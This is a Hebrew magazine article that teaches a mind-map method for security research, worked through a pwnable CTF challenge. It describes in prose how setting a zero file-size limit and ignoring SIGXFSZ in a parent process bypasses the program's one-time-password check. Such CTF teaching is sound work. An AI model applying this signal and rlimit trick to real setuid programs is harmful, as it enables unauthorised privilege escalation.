ברור לנו מה המטרה – איכשהו להשיג את הדגל, כמו כל אתגר pwnable אחר, או רובם לפחות.

מאוד קל להתחיל להכנס ישר לכיוונים ספציפיים שעולים לראש ואז להתחיל לעבוד על ענפים ספציפיים, אבל חשוב באמת להתחיל מכמה שיותר גבוה וכללי, לרדת לאט-לאט בעץ ככל שאפשר ובכל שלב לחשוב טוב על כל הפיצולים החדשים שאפשר ליצור לעץ.

בבעיות טכנולוגיות מאתגרות חשוב להבין מה כל הרכיבים במערכת ובעיקר מה החשיבות שלהם בתהליכים הרלוונטיים לבעיה, וככל שנחשוב על עוד ועוד רכיבים שיכולים להיות רלוונטיים נוכל למפות יותר ויותר כיוונים שיכולים לעזור לנו להגיע לפתרון. זה יכול להיות:

- התוכנה שאנחנו מריצים
- תוכנות עזר שהתוכנה המקורית \ המערכת תלויים בהם
- המערכת עצמה, ההגדרות וההגבלות שלה
- מערכות אחרות שאולי רלוונטיות במקרה שמתקשרים איתן – בתוך זה כמובן שכל handler לפרוטוקול, תהליך או תוכנה שרלוונטית לתהליך התקשורת יכולים להיות רלוונטיים

ברור מאליו שיש מקומות שלא נכנס אליהם בהכרח ברוב הבעיות, לדוגמא אם זאת הייתה תוכנה שמתקשרת עם מערכת אחרת, לא הייתי הולך לחקור את הכבל של התקשורת, למרות שזה יכול להיות פתרון בחלק מהבעיות הטכנולוגיות. לכן יש הגיון להשתמש בדרכים שהשתמשתי בהן כבר לבעיות קודמות. הגיוני לשים את זה ב-"מאחורה של הראש", אבל בגלל שיש עוד כל כך הרבה כיוונים שיכולים להיות רלוונטיים ביותר ענפים באתגר (זאת אומרת, יותר סביר שאם תהיה בה בעיה היא תהיה שימושית) ובו-זמנית יותר קלים לגילוי והשמשה, זה לא משהו ששווה כרגע כוח מחשבה, וזה יהיה רעיון plan B למקרה ששום דבר אחר לא עובד.

במקרה הזה הרכיבים שבחרתי לעבוד עליהם הם המערכת הכללית שבה האתגר נמצא (מערכת linux), קובץ האתגר בפנים (OTP) וקבצים אחרים שרלוונטיים לאתגר (במקרה הזה אין משהו כזה). זה כבר מצטמצם ל-2 רכיבים מרכזיים שנוכל להמשיך למפות בהמשך. חשוב מאוד לבוא בגישה שהמיפוי ההתחלתי לא בהכרח הרמטי, זה אומר שנשמור ראש פתוח לעוד רכיבים שנוכל לחשוב עליהם בהמשך, ולכן בהרבה מהעץ השתמשתי בסימן של "?" בכל איזור שחשבתי שהגיוני שיהיה בו עוד ענפים שעוד לא עלו לי לראש.

get flag

שלב אחד למטה

אחרי מציאת הרכיבים הכי בסיסיים של האתגר נוכל להתחיל לפרק כל אחד מהם לרעיונות המרכזיים שיש לנו. גם פה הסוד הוא ללכת לאט מ-node ל-node אחר, במקרה של המערכת עצמה לא היה הרבה ללכת איתו – בעיקר בעיות הרשאה שיכלו לתת לנו גישה להרשאות שלא היינו אמורים לקבל גישה אליהם. לא היה פה כיוון ישיר שחשבתי עליו בניגוד להרבה מחשבות על הקוד עצמו ולכן שמתי את הכיוון הזה בצד.

בכללי בתהליך של עבודה על עץ אפשר להסתכל על הכל בתור task scheduler, לכל כיוון יש priority לפי כמה סביר אנחנו חושבים שהוא יעבוד ותלוי בבעיה גם יכולים להיות פרמטרים אחרים כמו תוך כמה זמן נוכל לדעת אם הכיוון יעזור לנו או לא, כמה מורכב יהיה להגיע לפתרון עובד וכדומה. אנחנו מחפשים לתעדף את כל הכיוונים שלנו ולעבוד נכון, אבל גם להיות מוכנים לשינוי דינאמי, כי מחקר מעמיק יותר של הקוד\המערכת\מיצוי כיוון מסוים יכולים להביא לשינוי חשיבות של חלק מהמשימות. לכן חשוב אחרי כל כיוון מרכזי לעשות הפסקה, לראות אם משהו השתנה בצורה שבה נרצה להמשיך את התהליך לפתרון הבעיה.

בגלל שהכיוון המרכזי כרגע הוא הקוד עצמו, אפשר להתחיל לחשוב מה הפעולות הכי ספציפיות וישירות שיכולות להוביל אותנו למטרה. גם כאן קל לצלול ישר למסלול שבו ה-passcode שאנחנו מביאים שווה למספר הרנדומלי, אבל זה כמה צעדים קדימה ולכן יש סיכוי שבדילוג כזה נדלג גם על כיוונים שיובילו לפתרון.

מסלולים אפשריים אחרי ה-node הזה הם דברים כמו:

- קריאות ל-()system שמביאות הרצת פקודות שבהכרח תוביל לאפשרות לקרוא את הדגל
- Print(flag)
- הקונספט של "למצוא חולשה" שתוביל אותנו לפתרון נוסף, לא כיוונים לחולשה, רק הרעיון

כאן אין הרבה משטח שיכול להתאים ולכן הענפים הבאים התפצלו ל-"?" (השארת ספק בכך שהעץ במצבו הנוכחי הרמטי אם יש באמת סיכוי טוב שפספסנו ענפים), מציאת חולשה אפשרית בקוד ו-system(cat flag). בנוסף לכך כדי לעשות system(cat flag) יש רק אפשרות אחת בה הפרמטר לתוכנה חייב להיות שווה ל-Passcode אז המשכתי משם ישר. ההבדל בין המשך ישיר כזה לאחר, הוא שפה זה הבנה של תנאי ה-if שרק תחתיו הפעולה קורית, לא דיברתי אפילו על איך אני גורם ל-2 הגורמים להיות שווים – רק הסברתי את ה- if statement במילים.

עכשיו מדברים כבר

מכאן באמת התחלתי כבר את המחקר. שנכנסים לאתגר טכנולוגי כזה חשוב להיות סגורים על הסביבה הטכנולוגית שאנחנו נמצאים בה – מה המערכת? על מה אנחנו שולטים? אלו דברים יותר בסיסיים שכבר עברתי עליהם? אבל דבר נוסף שלפעמים מתפספס הוא - למה הבעיה קיימת? למה יש צורך בפתרון והאם זה אומר משהו שיכול לייעל לנו את העבודה על הבעיה?

זאת נשמעת שאלה טיפשית שלרוב ישאלו רק יזמים, אבל לעבוד על אתגר טכנולוגי קשה ולנסות לפתור אותו, זה בעצם להיות יזם שהנדס בראש שלו פתרון לבעיה שהרבה אנשים עם ידע טכנולוגי מספיק טוב כדי להבין אותה לא היו מצליחים לפתור.

אפשר להשיג **הרבה מאוד** מידע לגבי הבעיה מ-"מחקר סביבתי":

- לפי השלבים הקודמים הגדרנו כבר איך נצחון יראה באתגר – חולשה בקוד או איכשהו שנוכל להגיע לתוך ה-if statement שעושה os.system()
- הבעיה הכי גדולה באתגר היא שלמרות שמשטח הקוד מאוד קטן אין שום חולשה ברורה מאליו, הקוד עושה דברים מאוד יסודיים ולאחר מחקר לאורך זמן סביר באמת לא נראית אפשרות שיש חולשה
- לכן אפשר להניח הרבה יותר בבטחון שהנצחון שלנו פה יבוא רק דרך האפשרות השנייה, למרות שגם האפשרות הזאת נראית מאתגרת במיוחד \ בלתי אפשרית בהתחלה, נראה שיותר סביר לגרום למערכת לעבור את התנאי הפשוט הזה מאשר להשמיש חולשה שלא נראה שום כיוון התחלתי לחולשה במערכת

כעת מגיע שלב מאוד חשוב בכל התמודדות עם פרויקט טכנולוגי שקריטי עבור תכנון זמנים נכון ובסקייל גדול יותר יגרום לעבודה להיות הרבה יותר חלקה מאשר כניסה head first. במקרה הזה כמובן שאין היבט של מחקר מהאינטרנט, אבל בפרויקט אמיתי זה משהו שנכנס בשלב הזה – האם יש פתרונות דומים למה שאני רוצה לעשות? האם הם מוצלחים ומתאימים בול למה שאני רוצה לעשות? למה הם לא מתאימים?, ניתן להבין מה הבעיות שחוזרות על עצמן בקרב טכנולוגים שעבדו על אותן בעיות וללמוד מהטעויות שלהם, כדי להתרכז פחות באיזורים ספציפיים ויותר באיזורים אחרים.

תוצאות המחקר

אז מה התוצאות של המחקר?

אחרי שהבנתי שהדרך לנצחון היא כנראה דרך ה-if statement שמוביל ל-system() שני האפשרויות הן:

- לגרום לתנאי לעבור למרות שהוא לא אמור להיות נכון
- לגרום לתנאי להיות נכון

במקרה שלנו לגרום לתנאי להיות נכון אומר בהכרח לדעת את הערך של passcode, כי התנאי הוא תנאי השוואה פשוט בין מה שאני מספק לתוכנה אל מול הערך שמחושב על ידי התוכנה. בפועל זה יכול לקרות בעזרת:

1. למצוא חולשה כללית שרלוונטית ל-image שעליו הקובץ רץ
2. לנחש את הערך
3. להשיג גישה לערך שמחושב על ידי התוכנה

עם כמה שחלק מהאופציות נראות לא רציניות, אלו בסופו של דבר אפשרויות שבפרויקט אמיתי יכולות להיות רלוונטיות ולהפוך את העבודה לקלה יותר, למרות זאת החלטתי להמשיך לזרום עם האופצייה השלישית בגלל ש:

- האופצייה הראשונה מסובכת מצד המחקר והחיפוש ובגלל שזה אתגר נקודתי שלרוב עושים בו עבודת תשתיות טובה זה לא סביר שפה תהיה הבעיה
- האופצייה השנייה לא רלוונטית לאתגר בגלל שפה הערך נלקח מ-"/dev/urandom" והוא Int ככה שיש יותר מדי אופציות בשביל ניחוש אפקטיבי, בלי קשר שזה מוציא את הכיף מהאתגר

כאן החלק המעניין מגיע, וכדי להתמודד איתו הלכתי בגישה של פיצול הקוד לפי פונקציונליות שמקדימה את תנאי הנצחון:

1. קבוצה ראשונה – קריאה של ערך רנדומלי בגודל Int מ-"/dev/urandom"
2. קבוצה שנייה – כתיבה של otp[1] ל-"/tmp/{otp[0]}"
3. קבוצה שלישית – פתיחת "/tmp/{otp[0]}" וקריאת הערך לתוך משתנה נוסף

חשוב לזכור שזה גם לא החלקים היחידים הרלוונטיים להתרכז בהם:

- בין כל קבוצה יש מעברים שלא רלוונטיים לאף אחד מהם בהכרח, אבל אפשר לתקוף את המעברים האלו בכוונה בגלל שלרוב מתייחסים אליהם בתור מובנים מאליו
- עוד חלק דומה שהרבה מתעלמים ממנו זה ההתחלה והסוף של תרגיל, למרות שכאן אין משהו מעניין בהתחלה או בסוף, עדיין הוספתי לדוגמא את ()unlink שקורה בסוף כאפשרות לבעיה

בדיעבד כנראה שנכנסתי חזק מדי לקבוצת קוד הראשונה, בגלל שאפשרות להשפיע על קלט שמקבלים מ-"/tmp/urandom" לא הכי סבירה, אבל נכנסתי אליו בגלל שבעיה פה == נצחון מיידי של האתגר. המסקנה שהגעתי אליה בסוף נבעה כתוצאה מהמחקר הזה, שדרכו פסלתי עוד ועוד כיוונים אפשריים ובלעדיו לא יכולתי להחליט הרמטית שזה לא כיוון שצריך להמשיך לעבוד עליו.

לאחר מכן המשכתי לחלק השני שבו פותחים את הקובץ שיכתב אליו הערך שצריך לנחש, ושם הכיוון היחיד שהגעתי אליו הוא דרך שינוי הפתיחה כך שהכתיבה תהיה בשליטתי, כלומר:

- יצירת קובץ בשם שאמורים ליצור בו פה (מתברר ככיוון לא טוב בגלל המחקר על קריאה מ-urandom)
- הצבעת המסלול שאמורים ליצור בו לקובץ אחר בשליטתי (גם כיוון לא טוב מאותה סיבה)

מאוד לא סביר שהכיוון הנכון יהיה פה ולכן המשכתי הלאה.

דרך שאר החלקים של הקוד לא עלו לי רעיונות שבכלל שווה לציין, אבל בגלל זה כל הזמן ניסיתי לשנות נקודות מבט, ופה החלטתי להסתכל על המערכת עצמה והרעיון להשפיע על תוכנה כלשהי שרצה במערכת:

- אולי אני יכול לגרום לתוכנה לפנות ל-urandom אחר שבשליטתי? (לא, הוא משתמש במסלול אבסולוטי שאני לא יכול לשנות בו כלום)
- אולי אני יכול להשפיע על משתני סביבה?
- אולי אני יכול להשפיע על ה-syscalls שנקראים דרך hook-ים שונים או ספריות כמו LDPRELOAD?
- אולי אני יכול להשתמש בהגבלות תהליכים שיכולים לעזור לי לגרום לתוכנה להתנהג שונה בקריאות מערכת?

בדיעבד לא הצלחתי לחשוב על משהו שיכול לעזור לי לפתור את התרגיל, ובמובן מסוים אני חושב שאחת מהטעויות שעשיתי כאן שאפשר ללמוד מהם היא להפריד בין החלקים השונים במערכת – בהתחלה הסתכלתי על חלק ספציפי בקוד מבלי להצליב את ההשפעה של הסביבה ושל קטעי הקוד הבאים\קודמים, וכאן התרכזתי הרבה יותר בסביבה אבל בניתוק מהקוד.

רק חשיבה על חלק ספציפי במובן של מציאת חולשה מאוד מאתגרת, וחשיבה עם הצלבה בין מספר חלקים מכבידה מאוד ונראית הרבה יותר מסובכת. במבחן המציאות זאת הדרך הכי מדויקת ונכונה לעבוד בה והבעיה המרכזית היא למצוא את המקום שבו ניתן להצליב בין הגורמים השונים בצורה הכי קלה שעדיין תשמור על התייחסות מלאה והרמטיות.

במקרה הזה האתגר היה פשוט יותר כי יש יחסית מעט קוד ולכן מכאן ביצעתי החלטה לשנות את הגישה לגמרי – החלטתי לשנות את הגישה שלי מתחילת הדוגמא מפריסת האתגר כמפת עץ פשוטה, למפת זרם שתעזור לי לראות את הזרימה של הקוד מחלק אחד לאחר, להבין את ההשפעות של פעולות\פרימיטיבים מהחלק הקודם על החלק הבא וכך הרכבת הפתרון תהיה הרבה יותר פשוטה.

שינוי הכיוון

מפת הזרם מאוד פשוטה במובן הזה בתרגיל בגלל שכמות הקוד בו מאוד קטנה, עד כדי כך שאפשר לקטלג כל שורה \ שורה מרכזית בתור node:

כפי שהסברתי לפני כן כבר הבנתי כנראה מה הנקודה הבעייתית בתרגיל – איפשהו בין הפתיחה הראשונה לשנייה:

- אי אפשר להשפיע על המספר הרנדומלי
- אי אפשר לדעת איפה ימצא הקובץ הרלוונטי וגם אם כן אי אפשר להבטיח שבכלל תהיה לנו גישה לקרוא ממנו
- מאותה סיבה יורדות אפשרויות אחרות כמו ליצור את הקובץ לפני שהתוכנה יוצרת אותו

לכן אלו באמת השורות שהתרכזתי בהן הכי הרבה לאחר המעבר (בקרוב מגיע הפתרון למי שלא רוצה לראות)

כאן נכנסתי חזק לתוך השורה הספציפית הזאת – איכשהו בטוח נוכל להשפיע על הפתיחה הראשונה שהכי רלוונטית לנו כי הפתיחה השנייה מחקה אותה. לאחר הרבה מאוד ניסיונות, מחקר באינטרנט וכיוונים שלא צלחו, לא נתתי לעצמי להרגיש לחוץ כי זה רק יפגע ביכולת שלי לסיים את התרגיל.

הגבלות בסביבת הריצה של התהליך

אחרי כמה זמן מצאתי את התיעוד המעניין בספר "The Art of Software Security Assesment" לגבי הגבלות של תהליך שניתן להגדיר לו בכל מיני הגדרות סביבה רלוונטיות, כגון כמות file handles פתוחים או הגבלה לכמות הבתים שניתן לכתוב עם פעולת write ל-handle מסוים:

enforce restrictions on the system resources that a process may use. The `geTRlimit()` and `setrlimit()` functions allow a process to examine and modify (to a certain extent) its own resource limits. There are multiple resources for which each process has defined limits. For each defined system resource a process has two associated resource values: a soft limit and a hard limit. The soft limit value is more of a warning threshold than a limit, in that the process may not exceed it but it is free to change the soft limit up or down as it pleases. In fact, a process is free to move the soft limit so that it's any value between zero and its hard limit. Conversely, a hard limit represents the absolute maximum resource usage that a process is allowed. A normal process can change its hard limit, but it can only lower it, and lowering a hard limit is irreversible. Superuser processes, however, can also raise hard limits. The following list of supported resource limits can be called and set via `setrlimit()` and `getrlimit()` in Linux; other UNIX systems support some or all of these values:

- `RLIMIT_CORE` Maximum size in bytes of a core file that can be generated by the process. If this value is set to 0, the process doesn't dump the core file.
- `RLIMIT_CPU` Maximum amount of CPU time in seconds that the process can use. If this time limit is exceeded, the process is sent the `SIGXCPU` signal, which terminates the process by default.
- `RLIMIT_DATA` Maximum size in bytes of the data segment for the process. It includes the heap as well as static variables (both initialized and uninitialized).
- `RLIMIT_FSIZE` Maximum size in bytes that can be written to a file. Any file opened by the process for writing can't exceed this size. Any attempts to write to files that exceed this size result in the `SIGXFSZ` signal being sent to the process, which causes termination by default.
- `RLIMIT_MEMLOCK` Specifies the maximum number of bytes that can be locked in physical memory at one time.
- `RLIMIT_NOFILE` Specifies the maximum number of files a process can have open at one time.
- `RLIMIT_NPROC` Specifies the maximum amount of processes that specific user can run.
- `RLIMIT_OFILE` The BSD version of `RLIMIT_NOFILE`.
- `RLIMIT_RSS` Specifies the resident set size, which is the maximum number of virtual pages residing in physical memory.
- `RLIMIT_STACK` Specifies the maximum size in bytes for the process stack. Any attempt to expand the stack beyond this size generates a segmentation fault (`SIGSEGV`), which typically terminates the process.
- `RLIMIT_VMEM` Maximum bytes in the mapped address space.

פונקציונליות כזאת יכולה להיות מעולה למטרה של השפעה על סביבת הריצה של התהליך כדי לשנות את ההתנהגות המקורית ולכן ניסיתי להתמקד בכמה הגבלות ספציפיות שיהיו רלוונטיות:

- RLIMIT_CPU: פחות רלוונטי אבל יכול להיות אפשרי
- RLIMIT_FSIZE: הגבלת גודל כתיבה לתוך כל קובץ שהתהליך פותח, אם כתיבה מנסה לכתוב יותר בתים הפעולה תכשל
- RLIMIT_NOFILE: הגבלת כמות Handle-ים פתוחים לקבצים, אם פתיחה נוספת תעשה על ידי התהליך היא תכשל

הגבלות זכרון כמו RLIMIT_STACK יכולים להיות רלוונטיים עם השמשה יותר מסובכת, אבל השניים האחרונים נראו לי שימושיים מספיק לסיטואציה שלנו.

אני הלכתי פה לכיוון של RLIMIT_FSIZE כי הסתדר לי מאוד עם התרגיל:

- מגבילים את הכתיבה לקובץ ככה שהכתיבה לא תעבוד ובתקווה תמשיך את התוכנה כרגיל
- הקובץ קיים אבל לא קיים תוכן בתוכו, כך שהקריאה אחרי זה תכשל בצורה שלא מפסיקה את ריצת התוכנה
- Passcode מאותחל לאפס ולכן הוא תמיד ישאר אפס
- נוכל להעביר ב-argv[1] אפס כך שההשוואה תמיד תהיה נכונה

אבל יש בעיה אחת מרכזית: ברירת המחדל היא ש-RLIMIT_FSIZE מקריס את התהליך!

חיזוק הפרימיטיב

מכאן יש לנו 2 אפשרויות – לוותר לגמרי על הכיוון או לנסות לגרום לכיוון הנוכחי לעבוד, לכן לפני ויתור על הכיוון החלטתי לחפש איך אפשר להשפיע על מה שקורה כשהגבלות כמו RLIMIT_FSIZE מוטרגות.

אחרי מעט מחקר הבנתי שפגיעה בהגבלה בפועל אומרת:

- שליחת **SIGXFSZ** (אות תכנותי לתהליך)
- האות יטריג את ה-signal handler המתאים שיש לתהליך עבור האות הספציפי

לכל תהליך יש רשימת handlers עבור ניהול אותות ספציפיים שאותם הם יכולים להשאיר למערכת ההפעלה (שמחליטה על פעולות ברירת מחדל כמו פשוט להקריס את התהליך) או להגדיר בעצמם.

לכן ניסיתי לחשוב איך אני מגיע למצב שאני שולט על אותה פעולה כי היא כרגע מונעת ממני מלנצח את האתגר:

- מצד התוכנה עצמה מן הסתם לא אוכל להגדיר Handler אחר כי אין לי השפעה על הקוד של הבינארי
- מצד מערכת ההפעלה ה-handler ברירת מחדל הוא להקריס את התהליך

מסקנה: אני אהיה חייב להשפיע על התהליך מבחוץ.

שינוי התנהגות התהליך מבחוץ

בחיפושים הבנתי שאין לי יכולת לעשות אינטראקציה עם הגדרות של התהליך, קבצים וכו' שדרכם אוכל לשנות את ההתנהגות ולכן ניסיתי ללכת לכיוון של משתני סביבה – משפיעים על סביבת הריצה של תהליך ועוברים בירושה לתהליך בן שאני מפעיל.

בגלל שהתעסקתי בניסיונות הקודמים עם משתני סביבה הייתי יותר סקפטי אבל אז עלה לי הרעיון – משתני סביבה קשורים לענף גדול יותר שכולל בתוכו את כל ההשפעות הסביבתיות שעוברות בירושה לתהליך בן. כאן נכנס אותו הקונספט שוב פעם – **לעצור ולעשות ZOOM OUT יכול להוות נקודה פיבוטלית בהבנה טכנולוגית ומציאת כיוונים חדשים!!!!!!**

מה הם כל הערכים שתהליך יורש מתהליך האב שלו?

- UID + GID: מזהים אבטחתיים של המשתמש והקבוצת משתמשים. לא רלוונטיים או ניתנים לשינוי שלנו
- Environment variables: בינתיים דילגתי על זה
- Open file descriptors
- Signal handlers
- Signal mask

בהסתכלות על העץ ניתן לראות שיש node אחד מוצלח:

"set limitations for write size, set signal sent from limitations to be ignored/blocked, thus fwrite() will fail, file is empty, fread() will also fail but fopen() will work, passcode=0"

הרעיון עלה לי לאחר שעברתי על הרשימה הקודמת עם דרכים להעזר בירושת תהליכים כדי לשנות את צורת הטיפול ב-signal, וזה עלה מכך ש:

- התהליך לא סתם קורס מההגבלה, הוא מטפל ב-signal ספציפי שנוצר בפגיעה בהגבלה בעזרת signal handler קבוע מראש

> When a process exceeds its `RLIMIT_FSIZE` (file size limit) in Linux, the following occurs:
>
> - **Signal Sent:** A `SIGXFSZ` signal is sent to the process. This signal indicates that the process has attempted to extend a file beyond the allowed size.
> - **Default Action:** The default action for `SIGXFSZ` is to terminate the process.
> - **Default Signal Handler:** If a process does not explicitly set a signal handler for `SIGXFSZ` using functions like `signal()` or `sigaction()`, the kernel's default handler for `SIGXFSZ` will be invoked. This default handler will cause the process to terminate.
>
> Therefore, if a process attempts to write beyond its `RLIMIT_FSIZE` and does not have a custom `SIGXFSZ` handler, it will be terminated by the operating system.

- אם אני לא יכול לשנות את הקבצים ורק יכול להשפיע מבחוץ על הסביבה שבה רץ התהליך ולהשתמש בירושה, זאת תהיה הדרך היחידה שלי לגרום לפתרון לעבוד, אחרת כל הענף הזה פסול
- אם signal handlers זה משהו שתהליך בן יורש מתהליך אב, מה מונע ממני לכתוב Handler משלי בתהליך האב שלא מקריס וממשיך את ריצת התהליך ולעשות fork לתהליך בן שירש אותו?

מכאן הגעתי להשמשה הסופית שעשתה בדיוק את זה:

- קבעה שה-signal handler של SIGXFSZ יעבור התעלמות. עשיתי זאת בעזרת הפעולה sigaction() שמקבלת structure עם אותו השם, שבו יש ערך sa_handler שהפכתי ל-SIG_IGN
- עשתה fork לתהליך בן שקרא לתוכנה
- העברתי 0 בתור הפרמטר שמייצג את סיסמאת ה-OTP
- לפני שהפעלתי את התוכנה יצרתי RLIMIT_FSIZE של 0 כדי לעצור כל גדילה של הקובץ. השתמשתי בפעולה set_rlimit
- הפעלתי בתהליך הבן את התוכנה עם execve, ובתוכנת האב חיכיתי עם waitpid() עד שהבן יסיים לרוץ

את ה-writeup המלא לאתגר ניתן לראות ב-Github שלי

יש כמה דברים אחרונים שאשמח לציין לגבי הדוגמא שהמחשתי איתה את העקרון של המאמר פה:

1. כל התרגיל הזה טיפה בואקום, זאת אומרת שבעיה נקודתית כזאת מקטינה את ה-scale של הזמן והמאמץ שצריך להשקיע בבעיה ובחשיבה עליה, לכן להשקיע פי כמה וכמה יותר זמן כדי לעבוד קרוב ל-100% הרמטית ולכסות את כל האופציות שנראות לעין מאוד פיזיבילי. בסיטואציה אמיתית יש צורך פרקטי לשמור על זמנים, לתעדף כיוונים בצורה יותר ספציפית ואסטרטגית ובגלל שהנושא הזה בעצמו יכול לתפוס מאמר אתייחס לנקודה הזו בהמשך
2. בעבודה עם עצים חשוב לשמור על ראש פתוח ולעבוד בצורה הכי דינאמית שאפשר:

- להבין שהמיפוי כנראה לא 100% הרמטי ולכן להיות עם ראש פתוח לכיוונים חדשים שאולי יצוצו בראש
- לזכור את המטרה המקורית שלנו ומדי פעם לעשות זום-אאוט מהענף הספציפי שאנחנו נמצאים בו. להנעל על כיוון אחד שנראה מאוד אפשרי וסביר זה נחמד אבל צריך גם להבין שיש במערכות מורכבות הרבה רכיבים שיכולים להראות פגיעים ולכן חשוב אחרי זמן עבודה סביר על אותו כיוון להסתכל שלב או שניים אחורה בעץ – ההבנה שלי של המערכת טובה יותר, גיליתי כיוונים גדולים חדשים? חשבתי על אפשרויות שלפני זה נראו בלתי אפשריות? יש כיוון אחר שאשמח להקצות גם לו זמן?

סיכום

התחום הזה קשה מהרבה סיבות, אחת מהן היא לדעתי הצורך ביכולות מנטליות ו-"מחשבתיות" הרבה, הרבה מעל הממוצע. אנחנו צריכים לקחת מטרה ארביטררית שנראית להרבה מהאוכלוסייה בלתי אפשרית, ולהראות עם הרבה עבודה קשה שהמטרה לא בלתי אפשרית, אלא ממש ממש קשה ומאתגרת. יש כמויות אין סופיות של מידע וטכנולוגיות שונות שיכולים להיות רלוונטיים למשימה שלנו, ולקחת את כולם בחשבון בקבלת החלטות מחושבת ונכונה יכול להיות קושי משמעותי בהיבט המנטלי/נפשי וגם בהיבט הפרקטי, הרי טעויות כמו שלי יכולות להתבטא אצל אחרים בצורה דומה, או לפחות מסיבה בסיסית דומה).

בנוסף להגדרה של מטרה ותקווה, הספר מגדיר גם מי זה "גיבור" - בן אדם שיכול לקבל החלטות בצורה הכי נכונה וחיובית שתוכל להשפיע על כל הסובבים לו שרלוונטיים לנושא בצורה הכי בונה ומועילה שאפשר:

"גיבור הוא לא מישהו אמיץ עם יכולת לקבל החלטות שכל השאר מפחדים לקבל, גיבור הוא מי שיכול ליצור תקווה במקרים שבהם זה נראה בלתי אפשרי"

לא שאני מנסה לגרום למישהו להרגיש כמו סופרמן, אבל עם כמה שזה קיטשי לציין התחום הטכנולוגי הזה דורש אנשים שיכולים לראות תקווה לפתרון כלשהו, גם לאחר שבועות של מלחמה עם אותו רכיב ללא הצלחה מסחררת ולפעמים אפילו גם חודשים.

הדרייב שהוביל אותך לתחום מתשטש ככל שהאנשים סביבך מתקדמים, אבל כשאתה מוצא את אותו פתרון ההרגשה לא יכולה לעבור במילים לשאר הסביבה והאפקט המקצועי והאישיותי שהיה לכל התהליך הזה יורגש בעתיד גם בהתפסטנות הבאה.

על המחבר

בן 19, חוקר חולשות ב-**Cyberillium**. מתעניין מאוד בתחומי הפיתוח ומחקר בסביבת **Lowlevel**, מערכות הפעלה ואבטחת מידע. מעוניין מאוד לפתח את הידע שלי וללמוד עוד כדי להתפתח בתחום. בין הפרויקטים המרכזיים שלי עבדתי על **rootkit** למערכת ההפעלה **Windows** 10 כדי להחביא תהליכים, קבצים ותעבורת רשת, כמוכן שגם פיתחתי מערכת להגנה מנוזקות קרנליות כמו שלי ואחרות. בנוסף לכך פיתחתי וחקרתי דרייברים ומבני נתונים פנימיים רבים.

- ניתן לראות את הפרויקטים האלו ואחרים בעמוד הגיטהאב שלי: **https://github.com/shaygitub**
- ניתן ליצור איתי קשר דרך האימייל שלי: **shaygilat@gmail.com**
- או דרך עמוד הלינקדאין שלי: **https://www.linkedin.com/in/shay-gilat-67b727281**

מקורות מידע

מאמר שמסביר בפירוט סוגים שונים של מפות חשיבה https://crm.org/news/types-of-mind-map

כלי מיפוי מחשבה ותיעוד

- https://xmind.com/user-guide
- https://zapier.com/blog/best-mind-mapping-software
- https://obsidian.md/

תוספים לאובסידיאן

- https://github.com/ozntel/file-tree-alternative
- https://blacksmithgu.github.io/obsidian-dataview/
- https://www.reddit.com/r/ObsidianMD/comments/1b8sdnh/best_kanban_plugin_for_obsidian/
- https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin

קישורים למאמרים הקודמים שלי בנושאי אבטחת מידע שיכולים לעזור להבין את שאר המאמרים שלי יותר טוב ולהכנס בצורה יותר חלקה לתחום: https://github.com/shaygitub/Articles

דברי סיכום

בזאת אנחנו סוגרים את הגליון ה-181 של Digital Whisper, אנו מאוד מקווים כי נהנתם מהגליון והכי חשוב: למדתם ממנו. כמו בגליונות הקודמים, גם הפעם הושקעו הרבה מחשבה, יצירתיות, עבודה קשה ושעות שינה רבות כדי להביא לכם את הגליון.

ניתן לשלוח כתבות וכל פניה אחרת דרך עמוד "צור קשר" באתר שלנו, או לשלוח אותן לדואר האלקטרוני שלנו, בכתובת editor@digitalwhisper.co.il.

על מנת לקרוא גליונות נוספים, ליצור עימנו קשר ולהצטרף לקהילה שלנו, אנא בקרו באתר המגזין:

www.DigitalWhisper.co.il

"T4lk1n' 80ut a r3vo7u710n 5ounds like a wh15p3r"

הגליון הבא בתקווה ביום האחרון של חודש ינואר!

אפיק קסטיאל, ספיר פדרובסקי

31.12.2025